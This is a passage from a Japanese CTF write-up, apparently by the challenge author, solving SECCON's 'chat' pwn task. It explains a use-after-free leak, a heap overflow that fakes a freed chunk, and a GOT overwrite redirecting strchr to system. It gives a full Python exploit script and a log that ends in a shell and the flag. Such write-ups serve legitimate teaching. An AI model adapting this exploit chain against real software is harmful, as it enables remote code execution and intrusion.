  1. ユーザAに届いたDMを全てfree
  2. Publicなメッセージ中に,ユーザAが投稿したものがあればfree
  3. ユーザAのuser構造体に格納されたユーザ名のバッファ(name)をfree
  4. ユーザAのuser構造体をfree

この中で忘れているものと言えば,ユーザAが他ユーザに対して送ったDMが削除されていないということです.
したがって,例としてユーザAからユーザBにDMを送りユーザAを削除したとすると,ユーザBからはDMの確認でfreeされたユーザAのuser構造体を参照することになります.
もし新たにユーザAのuser構造体として利用されていた領域が別の用途で確保され,nameへのポインタに該当する場所にどこかしらのアドレスが入っていれば,そこから名前としてデータをリークが可能です.
この脆弱性を利用すれば,容易にlibcやheapのベースアドレスを得ることができます.


あらかた必要な情報がそろったら,次はGOT overwriteをします.
初めに説明したヒープオーバーフローの脆弱性を利用し,利用中のチャンクを含めて解放させ,そこを再度確保させて二重で利用させます.

新しいユーザAを追加して,そのユーザがパブリックに呟きます.
上の青枠で囲まれた領域がユーザAのuser構造体から参照されている名前を格納したチャンクで,その下がtweet構造体です.

f:id:shift_crops:20161212152255p:plain

次に名前変更でヒープオーバーフローさせ,tweet構造体に利用されているチャンクのPREV_INUSEをリセットし,橙枠で囲まれたチャンクをfree済みのように見せかけます.
ここで,free済みのように見せかける際にfdとbkにも適切なアドレスを入れ,矛盾が無いようにします.

f:id:shift_crops:20161212152841p:plain

最後に,tweet構造体を破棄して全体を大きなfreedチャンクにします.
先程述べたように,橙枠のチャンクは現在も利用中です.

f:id:shift_crops:20161212152934p:plain

この状態で,また新たにユーザBを追加すれば,ユーザAの名前が入っている場所にユーザBのuser構造体が作成されます.
ということは,ユーザAの名前更新を使ってユーザBのuser構造体を書き換えることができるという訳です.

f:id:shift_crops:20161212155624p:plain

あとはやることは明白で,ユーザAの名前更新でユーザBのnameポインタを書き換えたいGOTに向け,ユーザBの名前変更で実際にGOTを書き換えます.
ただし,名前を変更するためには元のユーザ名でログインしなければならず,ハッシュリストとの関係でむやみやたらなアドレスを指すことはできません.

ハッシュは名前の先頭の文字で一意に決まる単純なものなので,重要なのはGOTに格納されている関数ポインタの最下位バイトです.
この値と格納されているリストに齟齬が発生しないようにうまく調節しましょう.
また,書き換え先として想定しているsystem関数は,最下位バイトがprintableでないので,名前を変更しようとした際にisprintではねられて思ったように動きません.
ですので,まずはisprint@got.pltを単純なretに向け,次にstrchr@got.pltをsystem関数に向けます.

あとはmenu入力で/bin/shを送れば,本来strchrである場所でsystemが呼ばれ,無事シェルが立ち上がります.

Exploit

#!/usr/bin/env python
# socat -v tcp-listen:8080,fork,reeaddr exec:./chat,stderr
from sc_pwn import *

str_pname   = './chat'

env = Environment('local', 'remote')
env.set_item('mode',    local   = 'LOCAL', \
                        remote  = 'SOCKET')
env.set_item('target',  local   = {'program':str_pname}, \
                        remote  = {'host':'chat.pwn.seccon.jp','port':26895})
env.set_item('libc',    local   = lib_path(str_pname, 'libc.so.6'), \
                        remote  = '../libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e')
env.select()

libc = ELF(env.libc)
binf = ELF(str_pname)
addr_got_main       = binf.got('__libc_start_main')
addr_got_malloc     = binf.got('malloc')
addr_got_strchr     = binf.got('strchr')

addr_user_tbl       = binf.symbol('user_tbl')

str_sh              = '/bin/sh'

#==========
def attack(cmn):
    chat = Chat(cmn)

    chat.signup('Hoge')
    chat.signup('A'*0x18)
    chat.signup('B'*0x18)
    
    chat.signin('B'*0x18)
    chat.send_dm('Hoge', 'DirectMessage1')
    chat.change_name('')
    
    chat.signin('A'*0x18)
    chat.change_name('')

    #===== leak libc addr =====
    chat.signup(pack_64(addr_got_main))
    
    chat.signin('Hoge')
    addr_libc_main = chat.show_dm()[0][0]           # Use After Free
    addr_libc_main = unpack_64(addr_libc_main+'\x00'*(8-len(addr_libc_main)))
    libc.set_location('__libc_start_main', addr_libc_main)
    addr_libc_malloc    = libc.function('malloc')
    addr_libc_system    = libc.function('system')
    addr_libc_strchr    = libc.symbol('strchr') + 0x30
    addr_libc_ret       = libc.base + 0x937
    chat.signout()

    #===== leak heap addr =====
    chat.signin(pack_64(addr_got_main))
    chat.change_name(pack_64(addr_user_tbl+(ord('h')-ord('a')+1)*0x8))
    chat.signout()

    chat.signin('Hoge')
    addr_heap = chat.show_dm()[0][0]                # Use After Free
    addr_heap_base      = unpack_64(addr_heap+'\x00'*(8-len(addr_heap))) - 0x10
    info('addr_heap_base    = 0x%08x' % addr_heap_base)
    chat.send_pm('PublicMessage1')
    chat.signout()

    #===== GOT overwrite =====
    # SIGNUP : user A
    chat.signup('Fuga')
    
    # user A
    exploit_st1  = pack_64(addr_heap_base+0x270)
    exploit_st1 += pack_64(addr_heap_base+0x278)
    exploit_st1 += pack_64(0x20)
    exploit_st1 += '\xa0'
    
    chat.signin('Fuga')
    chat.send_pm('a'*0x8+pack_64(addr_heap_base+0x240))
    chat.change_name_null(exploit_st1)              # Heap Over Flow
    chat.remove_pm(2)
    chat.signout()

    # SIGNUP : user B
    chat.signup('Piyo')
    chat.signup(chr(addr_libc_malloc&0xff))

    # user A
    chat.signin(pack_64(addr_heap_base+0x270))
    chat.change_name(pack_64(addr_got_malloc))
    chat.signout()
    
    # user B
    exploit_st2  = chr(addr_libc_strchr&0xff)
    exploit_st2 += ' '*7
    exploit_st2 += pack_64(addr_libc_ret)           # isprint@got.plt -> ret
    
    chat.signin(pack_64(addr_libc_malloc))
    chat.change_name(exploit_st2)
    chat.signout()

    # user A
    chat.signin(pack_64(addr_got_malloc))
    chat.change_name(pack_64(addr_got_strchr))
    chat.signout()

    # user B
    chat.signin(pack_64(addr_libc_strchr))
    chat.change_name(pack_64(addr_libc_system))     # strchr@got.plt -> system

    # system("/bin/sh")
    cmn.read_until('menu >> ')
    cmn.sendln(str_sh)
    
class Chat:
    def __init__(self, cmn):
        self.signed     = False
        self.read_until = cmn.read_until
        self.sendln     = cmn.sendln

    def signup(self, name):
        if self.signed:
            return
        self.read_until('menu > ')
        self.sendln('1')
        self.read_until('name > ')
        self.sendln(name)

    def signin(self, name):
        if self.signed:
            return
        self.read_until('menu > ')
        self.sendln('2')
        self.read_until('name > ')
        self.sendln(name)
        self.signed = True

    def signout(self):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('0')
        self.signed = False

    def show_pm(self):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('1')
        self.read_until('Time Line\n')
        r = re.compile('\([0-9]{3}\)\[(.+)\] (.+)')
        return r.findall(cmn.read_until('Done.'))

    def show_dm(self):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('2')
        self.read_until('Direct Messages\n')
        r = re.compile('\[(.+)\] (.+)')
        return r.findall(cmn.read_until('Done.'))
        
    def send_pm(self, msg):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('4')
        self.read_until('message >> ')
        self.sendln(msg)

    def send_dm(self, name, msg):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('5')
        self.read_until('name >> ')
        self.sendln(name)
        if 'message' in self.read_until(' '):
            self.sendln(msg)
        
    def remove_pm(self, id):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('6')
        self.read_until('id >> ')
        self.sendln(str(id))

    def change_name(self, name):
        if not self.signed:
            return
        self.read_until('menu >> ')
        self.sendln('7')
        self.read_until('name >> ')
        self.sendln(name)
        if 'error' in self.read_until():
            self.signed = False

    def change_name_null(self, s):
        while s:
            idx = s.rfind('\x00')
            if idx<len(s)-1:
                self.change_name('@'*(idx+1)+s[idx+1:])
    
            s = '' if idx==-1 else s[:idx]
            
            if s and s[-1]=='\0':
                self.change_name('@'*idx)
        
#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

実行してみましょう

[+]Environment : set environment "remote"
[*]Loading "../libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e"...
[*]Loading "./chat"...
[*]Connect to chat.pwn.seccon.jp:26895
[+]"../libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e" is loaded on 0x7f532655f000
[+]addr_heap_base    = 0x01627000
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$cat flag.txt
SECCON{51mpl3_ch47_l1k3_7w1*73*}
$

フラグが取れました.


終わりに

ここまでで,私が作問した全5問を解説してきました.
いかがでしたでしょうか
私自身が忙しい(&面倒臭い)ので,結構雑な解説になってしまっている部分もありますでしょうが,そこは優しい心で許してください(笑)
分からない部分などありましたら,質問してくださればお答えするかもしれません.

最後に,皆さんSECCONを楽しんでいただけましたでしょうか?
そうでしたら運営の身として嬉しい限りです.
まだ決勝大会も残っていますので,上位チームや地方大会を勝ち上がったチームの皆さんは頑張ってください!!

あー 時間がない
卒論書きたくねぇ・・・